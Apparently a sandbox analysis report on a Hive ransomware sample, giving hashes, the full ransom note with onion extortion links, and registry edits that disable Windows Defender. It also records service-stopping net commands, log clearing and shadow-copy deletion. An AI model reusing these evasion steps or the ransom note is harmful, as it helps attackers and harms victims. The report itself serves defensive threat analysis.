hive | 33aceb3dc0681a56226d4cfce32eee7a431e66f5c746a4d6dc7506a72b317277

Analysis

max time kernel
106s
max time network
124s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
23-12-2022 15:40

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

211xahcou.exe
Size

3.9MB
MD5

0e4d44dde522c07d09d9e3086cfae803
SHA1

d8dc26e2094869a0da78ecb47494c931419302dc
SHA256

33aceb3dc0681a56226d4cfce32eee7a431e66f5c746a4d6dc7506a72b317277
SHA512

ac1f269b028217210a72fc5c2e0cb07461e2ff896f8b5ba65771787f99ec34b0f9951cf73d9d387086f79c348c343d147aebc2fd5b7e18da009bc2041e2eee06
SSDEEP

49152:e2NiZPNNirb/T2vO90dL3BmAFd4A64nsfJk0NuXCdmTQb0/6VCrrPrsbg11VgWA2:e2ANB04yIa0hsirubO

Score

10^/10

hive evasion ransomware spyware stealer trojan

Malware Config

Extracted

Path

C:\n8pw_HOW_TO_DECRYPT.txt

Family

hive

Ransom Note

Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose. To decrypt all the data and to prevent exfiltrated files to be disclosed at http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/ you will need to purchase our decryption software. Please contact our sales department at: http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/ Login: fTP4dtHQ51ZX Password: 7zC1gVatfxGNUwxnLe4e To get an access to .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us) Follow the guidelines below to avoid losing your data: - Do not modify, rename or delete *.key.cv2gj files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to the Police, FBI, etc. They don't care about your business. They simply won't allow you to pay. As a result you will lose everything. - Do not hire a recovery company. They can't decrypt without the key. They also don't care about your business. They believe that they are good negotiators, but it is not. They usually fail. So speak for yourself. - Do not reject to purchase. Exfiltrated files will be publicly disclosed.

URLs

http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/

http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/

Signatures

Hive
A ransomware written in Golang first seen in June 2021.
ransomware hive

Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

Processes:

reg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Modifies security service 2 TTPs 1 IoCs
evasion

Modify Registry
T1112

Modify Existing Service
T1031

Processes:

reg.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4" reg.exe
Clears Windows event logs 1 TTPs 3 IoCs
evasion ransomware

Indicator Removal on Host
T1070

Processes:

wevtutil.exewevtutil.exewevtutil.exe

pid process

208 wevtutil.exe
1908 wevtutil.exe
3680 wevtutil.exe
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
ransomware evasion

Inhibit System Recovery
T1490

Processes:

bcdedit.exebcdedit.exe

pid process

1648 bcdedit.exe
3032 bcdedit.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

pid	process
208	wevtutil.exe
1908	wevtutil.exe
3680	wevtutil.exe

pid	process
1648	bcdedit.exe
3032	bcdedit.exe

Drops file in Program Files directory 64 IoCs

Processes:

211xahcou.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_zh_tw_135x40.svg.zKvIAfPl1A0GxrPJ-5MjIy_88sr7jeeQr-0vNKJ36-D_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\O365HomePremR_Subscription1-pl.xrm-ms.zKvIAfPl1A0GxrPJ-5MjIy_88sr7jeeQr-0vNKJ36-D_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\Assets\contrast-white\AppPackageAppList.targetsize-80_altform-unplated_contrast-white.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\HxMailAppList.targetsize-96.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\LinkedInboxWideTile.scale-100.png	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\faf-main.js.zKvIAfPl1A0GxrPJ-5MjIy_88sr7jeeQr-0vNKJ36-D_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\nl\LC_MESSAGES\vlc.mo.zKvIAfPl1A0GxrPJ-5MjIy_88sr7jeeQr-0vNKJ36-D_DAAAAAwAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\jsaddins\locallaunch\locallaunch.html	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\TypeSupport\Unicode\Mappings\Mac\ROMANIAN.TXT.zKvIAfPl1A0GxrPJ-5MjIy_88sr7jeeQr-0vNKJ36-D_AgAAAAIAAAA0.cv2gj	211xahcou.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\sv-se\n8pw_HOW_TO_DECRYPT.txt	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\en-ae\ui-strings.js.zKvIAfPl1A0GxrPJ-5MjIy_88sr7jeeQr-0vNKJ36-D_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\CANYON\THMBNAIL.PNG.zKvIAfPl1A0GxrPJ-5MjIy_88sr7jeeQr-0vNKJ36-D_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\images\offsymsl.ttf	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\Doughboy.scale-100.png	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\fi-fi\ui-strings.js.zKvIAfPl1A0GxrPJ-5MjIy_88sr7jeeQr-0vNKJ36-D_AgAAAAIAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\s_opencarat_18.svg.zKvIAfPl1A0GxrPJ-5MjIy_88sr7jeeQr-0vNKJ36-D_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\Excel2019VL_KMS_Client_AE-ul.xrm-ms.zKvIAfPl1A0GxrPJ-5MjIy_88sr7jeeQr-0vNKJ36-D_DAAAAAwAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\contrast-white\AppPackageStoreLogo.scale-100_contrast-white.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.XboxApp_48.49.31001.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\GamesXboxHubAppList.scale-125_contrast-high.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.VP9VideoExtensions_1.0.22681.0_x64__8wekyb3d8bbwe\Assets\AppList.targetsize-80.png	211xahcou.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\ru-ru\n8pw_HOW_TO_DECRYPT.txt	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsCalculator_10.1906.55.0_neutral_split.scale-125_8wekyb3d8bbwe\resources.pri	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\accessibilitychecker\index.html	211xahcou.exe
File created	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\WATERMAR\n8pw_HOW_TO_DECRYPT.txt	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\HxA-GoogleCloudCache.scale-150.png	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\file_info.png.zKvIAfPl1A0GxrPJ-5MjIy_88sr7jeeQr-0vNKJ36-D_HAAAAAYAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Common Files\System\msadc\en-US\msadcor.dll.mui	211xahcou.exe
File opened for modification	C:\Program Files\InstallMove.wmv.zKvIAfPl1A0GxrPJ-5MjIy_88sr7jeeQr-0vNKJ36-D_OAAAADgAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\EmptySearch.scale-400.png	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\fr-fr\ui-strings.js.zKvIAfPl1A0GxrPJ-5MjIy_88sr7jeeQr-0vNKJ36-D_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\js\plugins\rhp\generic-rhp-app-selector.js.zKvIAfPl1A0GxrPJ-5MjIy_88sr7jeeQr-0vNKJ36-D_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.VCLibs.140.00_14.0.27323.0_x64__8wekyb3d8bbwe\AppxSignature.p7x	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\images\themes\dark\s_checkbox_selected_18.svg.zKvIAfPl1A0GxrPJ-5MjIy_88sr7jeeQr-0vNKJ36-D_BgAAAAYAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\images\themes\dark\dd_arrow_small.png.zKvIAfPl1A0GxrPJ-5MjIy_88sr7jeeQr-0vNKJ36-D_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Java\jre1.8.0_66\lib\tzdb.dat.zKvIAfPl1A0GxrPJ-5MjIy_88sr7jeeQr-0vNKJ36-D_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\O365HomePremR_Subscription3-pl.xrm-ms.zKvIAfPl1A0GxrPJ-5MjIy_88sr7jeeQr-0vNKJ36-D_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MSPaint_6.1907.29027.0_x64__8wekyb3d8bbwe\Assets\Logos\Wide310x150\PaintWideTile.scale-200.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.ScreenSketch_10.1907.2471.0_x64__8wekyb3d8bbwe\Assets\ScreenSketchSquare44x44Logo.targetsize-72_contrast-black.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.UI.Xaml.2.0_2.1810.18004.0_x64__8wekyb3d8bbwe\logo.png	211xahcou.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\en-ae\n8pw_HOW_TO_DECRYPT.txt	211xahcou.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\sv-se\n8pw_HOW_TO_DECRYPT.txt	211xahcou.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-api_zh_CN.jar.zKvIAfPl1A0GxrPJ-5MjIy_88sr7jeeQr-0vNKJ36-D_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\TRANSLAT\ESEN\WT61ES.LEX.zKvIAfPl1A0GxrPJ-5MjIy_88sr7jeeQr-0vNKJ36-D_JgAAACYAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WebMediaExtensions_1.0.20875.0_x64__8wekyb3d8bbwe\Assets\AppList.targetsize-80_altform-unplated.png	211xahcou.exe
File created	C:\Program Files\VideoLAN\VLC\locale\it\LC_MESSAGES\n8pw_HOW_TO_DECRYPT.txt	211xahcou.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pa\LC_MESSAGES\n8pw_HOW_TO_DECRYPT.txt	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.ScreenSketch_10.1907.2471.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\ScreenSketchStoreLogo.scale-125_contrast-black.png	211xahcou.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\MondoR_Subscription2-pl.xrm-ms.zKvIAfPl1A0GxrPJ-5MjIy_88sr7jeeQr-0vNKJ36-D_KgAAACoAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.SkypeApp_14.53.77.0_x64__kzf8qxf38zg5c\Assets\Images\SkypeLargeTile.scale-200_contrast-white.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Assets\CalculatorAppList.targetsize-24_altform-unplated_contrast-white.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1906.1972.0_x64__8wekyb3d8bbwe\Assets\AppTiles\contrast-black\MapsAppList.targetsize-24_altform-unplated.png	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\it_get.svg.zKvIAfPl1A0GxrPJ-5MjIy_88sr7jeeQr-0vNKJ36-D_MgAAADIAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\Publisher2019R_Retail-ul-phn.xrm-ms.zKvIAfPl1A0GxrPJ-5MjIy_88sr7jeeQr-0vNKJ36-D_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.GetHelp_10.1706.13331.0_x64__8wekyb3d8bbwe\Assets\tinytile.targetsize-16_contrast-white.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Getstarted_8.2.22942.0_x64__8wekyb3d8bbwe\Assets\GetStartedLargeTile.scale-100.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\images\OneNoteSectionGroupLargeTile.scale-400.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WebpImageExtension_1.0.22753.0_x64__8wekyb3d8bbwe\Assets\contrast-white\WideTile.scale-150_contrast-white.png	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\fr-fr\ui-strings.js.zKvIAfPl1A0GxrPJ-5MjIy_88sr7jeeQr-0vNKJ36-D_BAAAAAQAAAA0.cv2gj	211xahcou.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\en-ae\n8pw_HOW_TO_DECRYPT.txt	211xahcou.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\Excel2019R_OEM_Perp-ppd.xrm-ms.zKvIAfPl1A0GxrPJ-5MjIy_88sr7jeeQr-0vNKJ36-D_GAAAABgAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.HEIFImageExtension_1.0.22742.0_x64__8wekyb3d8bbwe\Assets\contrast-white\SplashScreen.scale-125_contrast-white.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\EmptySearch.scale-400.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\GenericMailLargeTile.scale-200.png	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\close_x.png.zKvIAfPl1A0GxrPJ-5MjIy_88sr7jeeQr-0vNKJ36-D_AAAAAAAAAAA0.cv2gj	211xahcou.exe

Launches sc.exe 8 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

3440 sc.exe
2240 sc.exe
1944 sc.exe
5084 sc.exe
1472 sc.exe
4364 sc.exe
372 sc.exe
2860 sc.exe
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Processes:

vssadmin.exe

pid process

3220 vssadmin.exe
Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

notepad.exe

pid process

4356 notepad.exe
Runs net.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

3264 PING.EXE
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe211xahcou.exe

pid process

4496 powershell.exe
4496 powershell.exe
2256 powershell.exe
2256 powershell.exe
3540 211xahcou.exe
3540 211xahcou.exe

pid	process
3440	sc.exe
2240	sc.exe
1944	sc.exe
5084	sc.exe
1472	sc.exe
4364	sc.exe
372	sc.exe
2860	sc.exe

pid	process
3220	vssadmin.exe

pid	process
4356	notepad.exe

pid	process
3264	PING.EXE

pid	process
4496	powershell.exe
4496	powershell.exe
2256	powershell.exe
2256	powershell.exe
3540	211xahcou.exe
3540	211xahcou.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

wevtutil.exewevtutil.exewevtutil.exewmic.exewmic.exe

description	pid	process
Token: SeSecurityPrivilege	1908	wevtutil.exe
Token: SeBackupPrivilege	1908	wevtutil.exe
Token: SeSecurityPrivilege	3680	wevtutil.exe
Token: SeBackupPrivilege	3680	wevtutil.exe
Token: SeSecurityPrivilege	208	wevtutil.exe
Token: SeBackupPrivilege	208	wevtutil.exe
Token: SeIncreaseQuotaPrivilege	5076	wmic.exe
Token: SeSecurityPrivilege	5076	wmic.exe
Token: SeTakeOwnershipPrivilege	5076	wmic.exe
Token: SeLoadDriverPrivilege	5076	wmic.exe
Token: SeSystemProfilePrivilege	5076	wmic.exe
Token: SeSystemtimePrivilege	5076	wmic.exe
Token: SeProfSingleProcessPrivilege	5076	wmic.exe
Token: SeIncBasePriorityPrivilege	5076	wmic.exe
Token: SeCreatePagefilePrivilege	5076	wmic.exe
Token: SeBackupPrivilege	5076	wmic.exe
Token: SeRestorePrivilege	5076	wmic.exe
Token: SeShutdownPrivilege	5076	wmic.exe
Token: SeDebugPrivilege	5076	wmic.exe
Token: SeSystemEnvironmentPrivilege	5076	wmic.exe
Token: SeRemoteShutdownPrivilege	5076	wmic.exe
Token: SeUndockPrivilege	5076	wmic.exe
Token: SeManageVolumePrivilege	5076	wmic.exe
Token: 33	5076	wmic.exe
Token: 34	5076	wmic.exe
Token: 35	5076	wmic.exe
Token: 36	5076	wmic.exe
Token: SeIncreaseQuotaPrivilege	4600	wmic.exe
Token: SeSecurityPrivilege	4600	wmic.exe
Token: SeTakeOwnershipPrivilege	4600	wmic.exe
Token: SeLoadDriverPrivilege	4600	wmic.exe
Token: SeSystemProfilePrivilege	4600	wmic.exe
Token: SeSystemtimePrivilege	4600	wmic.exe
Token: SeProfSingleProcessPrivilege	4600	wmic.exe
Token: SeIncBasePriorityPrivilege	4600	wmic.exe
Token: SeCreatePagefilePrivilege	4600	wmic.exe
Token: SeBackupPrivilege	4600	wmic.exe
Token: SeRestorePrivilege	4600	wmic.exe
Token: SeShutdownPrivilege	4600	wmic.exe
Token: SeDebugPrivilege	4600	wmic.exe
Token: SeSystemEnvironmentPrivilege	4600	wmic.exe
Token: SeRemoteShutdownPrivilege	4600	wmic.exe
Token: SeUndockPrivilege	4600	wmic.exe
Token: SeManageVolumePrivilege	4600	wmic.exe
Token: 33	4600	wmic.exe
Token: 34	4600	wmic.exe
Token: 35	4600	wmic.exe
Token: 36	4600	wmic.exe
Token: SeIncreaseQuotaPrivilege	4600	wmic.exe
Token: SeSecurityPrivilege	4600	wmic.exe
Token: SeTakeOwnershipPrivilege	4600	wmic.exe
Token: SeLoadDriverPrivilege	4600	wmic.exe
Token: SeSystemProfilePrivilege	4600	wmic.exe
Token: SeSystemtimePrivilege	4600	wmic.exe
Token: SeProfSingleProcessPrivilege	4600	wmic.exe
Token: SeIncBasePriorityPrivilege	4600	wmic.exe
Token: SeCreatePagefilePrivilege	4600	wmic.exe
Token: SeBackupPrivilege	4600	wmic.exe
Token: SeRestorePrivilege	4600	wmic.exe
Token: SeShutdownPrivilege	4600	wmic.exe
Token: SeDebugPrivilege	4600	wmic.exe
Token: SeSystemEnvironmentPrivilege	4600	wmic.exe
Token: SeRemoteShutdownPrivilege	4600	wmic.exe
Token: SeUndockPrivilege	4600	wmic.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

211xahcou.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exe

description	pid	process	target process
PID 3540 wrote to memory of 1536	3540	211xahcou.exe	net.exe
PID 3540 wrote to memory of 1536	3540	211xahcou.exe	net.exe
PID 1536 wrote to memory of 3932	1536	net.exe	net1.exe
PID 1536 wrote to memory of 3932	1536	net.exe	net1.exe
PID 3540 wrote to memory of 2948	3540	211xahcou.exe	net.exe
PID 3540 wrote to memory of 2948	3540	211xahcou.exe	net.exe
PID 2948 wrote to memory of 4600	2948	net.exe	net1.exe
PID 2948 wrote to memory of 4600	2948	net.exe	net1.exe
PID 3540 wrote to memory of 3684	3540	211xahcou.exe	net.exe
PID 3540 wrote to memory of 3684	3540	211xahcou.exe	net.exe
PID 3684 wrote to memory of 4068	3684	net.exe	net1.exe
PID 3684 wrote to memory of 4068	3684	net.exe	net1.exe
PID 3540 wrote to memory of 340	3540	211xahcou.exe	net.exe
PID 3540 wrote to memory of 340	3540	211xahcou.exe	net.exe
PID 340 wrote to memory of 3840	340	net.exe	net1.exe
PID 340 wrote to memory of 3840	340	net.exe	net1.exe
PID 3540 wrote to memory of 3908	3540	211xahcou.exe	net.exe
PID 3540 wrote to memory of 3908	3540	211xahcou.exe	net.exe
PID 3908 wrote to memory of 3264	3908	net.exe	net1.exe
PID 3908 wrote to memory of 3264	3908	net.exe	net1.exe
PID 3540 wrote to memory of 4692	3540	211xahcou.exe	net.exe
PID 3540 wrote to memory of 4692	3540	211xahcou.exe	net.exe
PID 4692 wrote to memory of 5080	4692	net.exe	net1.exe
PID 4692 wrote to memory of 5080	4692	net.exe	net1.exe
PID 3540 wrote to memory of 2188	3540	211xahcou.exe	net.exe
PID 3540 wrote to memory of 2188	3540	211xahcou.exe	net.exe
PID 2188 wrote to memory of 2152	2188	net.exe	net1.exe
PID 2188 wrote to memory of 2152	2188	net.exe	net1.exe
PID 3540 wrote to memory of 3160	3540	211xahcou.exe	net.exe
PID 3540 wrote to memory of 3160	3540	211xahcou.exe	net.exe
PID 3160 wrote to memory of 4576	3160	net.exe	net1.exe
PID 3160 wrote to memory of 4576	3160	net.exe	net1.exe
PID 3540 wrote to memory of 5084	3540	211xahcou.exe	sc.exe
PID 3540 wrote to memory of 5084	3540	211xahcou.exe	sc.exe
PID 3540 wrote to memory of 1472	3540	211xahcou.exe	sc.exe
PID 3540 wrote to memory of 1472	3540	211xahcou.exe	sc.exe
PID 3540 wrote to memory of 4364	3540	211xahcou.exe	sc.exe
PID 3540 wrote to memory of 4364	3540	211xahcou.exe	sc.exe
PID 3540 wrote to memory of 372	3540	211xahcou.exe	sc.exe
PID 3540 wrote to memory of 372	3540	211xahcou.exe	sc.exe
PID 3540 wrote to memory of 2860	3540	211xahcou.exe	sc.exe
PID 3540 wrote to memory of 2860	3540	211xahcou.exe	sc.exe
PID 3540 wrote to memory of 3440	3540	211xahcou.exe	sc.exe
PID 3540 wrote to memory of 3440	3540	211xahcou.exe	sc.exe
PID 3540 wrote to memory of 2240	3540	211xahcou.exe	sc.exe
PID 3540 wrote to memory of 2240	3540	211xahcou.exe	sc.exe
PID 3540 wrote to memory of 1944	3540	211xahcou.exe	sc.exe
PID 3540 wrote to memory of 1944	3540	211xahcou.exe	sc.exe
PID 3540 wrote to memory of 4432	3540	211xahcou.exe	reg.exe
PID 3540 wrote to memory of 4432	3540	211xahcou.exe	reg.exe
PID 3540 wrote to memory of 4312	3540	211xahcou.exe	reg.exe
PID 3540 wrote to memory of 4312	3540	211xahcou.exe	reg.exe
PID 3540 wrote to memory of 3992	3540	211xahcou.exe	reg.exe
PID 3540 wrote to memory of 3992	3540	211xahcou.exe	reg.exe
PID 3540 wrote to memory of 3948	3540	211xahcou.exe	reg.exe
PID 3540 wrote to memory of 3948	3540	211xahcou.exe	reg.exe
PID 3540 wrote to memory of 3036	3540	211xahcou.exe	reg.exe
PID 3540 wrote to memory of 3036	3540	211xahcou.exe	reg.exe
PID 3540 wrote to memory of 4860	3540	211xahcou.exe	reg.exe
PID 3540 wrote to memory of 4860	3540	211xahcou.exe	reg.exe
PID 3540 wrote to memory of 5100	3540	211xahcou.exe	reg.exe
PID 3540 wrote to memory of 5100	3540	211xahcou.exe	reg.exe
PID 3540 wrote to memory of 3376	3540	211xahcou.exe	reg.exe
PID 3540 wrote to memory of 3376	3540	211xahcou.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\211xahcou.exe
"C:\Users\Admin\AppData\Local\Temp\211xahcou.exe"
1⤵
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3540
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "SamSs" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1536
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "SamSs" /y
    3⤵
    PID:3932
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "SDRSVC" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2948
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "SDRSVC" /y
    3⤵
    PID:4600
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "SstpSvc" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3684
